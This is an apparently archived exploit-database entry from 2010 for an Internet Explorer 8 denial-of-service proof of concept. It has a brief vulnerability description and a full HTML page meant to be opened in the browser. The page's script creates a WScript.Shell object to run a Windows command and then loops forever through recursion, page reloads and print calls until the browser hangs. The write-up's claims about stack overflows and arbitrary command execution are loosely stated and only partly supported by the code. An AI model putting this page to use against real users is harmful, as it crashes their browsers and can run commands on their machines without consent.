Microsoft Internet Explorer 8 - Denial of Service

🗓️ 13 Feb 2010 00:00:00Reported by Asheesh kumar Mani TripathiType

Microsoft Internet Explorer 8 - Denial of Service by Asheesh Kumar Mani Tripath

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                      Internet Explorer 8 (Multitudinous looping )Denial of Service Exploit
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                                                     by

                                            Asheesh Kumar Mani Tripathi


# code by Asheesh kumar Mani Tripathi

# email [email protected]

# company       aksitservices

# Credit by Asheesh Anaconda


#Download http://www.microsoft.com/windows/internet-explorer/worldwide-sites.aspx
#Greets to Bhudeo Prasad for making shell script :)


#Background

Internet Explorer 8 is a popular internet browser. with lots of bugs .....:)

#Vulnerability
This bug is a typical result of multitudinous  loop.  
The flaw exists within "history go" ActiveX control which contains 
stack based overflow conditions.User interaction is required to 
exploit this vulnerability in that the target must visit a malicious 
web page.


#Impact

Attacker Can run any windows command ,consume lots of memory and able to crash your IE or make 
your system unaccessible,your work if any   might be lost

#Proof of concept
copy the code in text file and save as "asheesh.html" open in Internet Explorer 8

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                                                           asheesh.html
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<html>
<title>asheesh kumar mani tripathi</title>

<head>
<script type="text/javascript">
function sucks()
{

var shell=new ActiveXObject("WScript.Shell");
shell.Run("ipconfig", 1);

}

function asheesh()
{
sucks();
window.onerror=new Function("history.go(0)");
window.print();
asheesh();


}
asheesh();
</script>
</head>
<body onLoad="asheesh()"></body>

</html>


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#If you have any questions, comments, or concerns, feel free to contact me.

13 Feb 2010 00:00Current

7.4High risk

Vulners AI Score7.4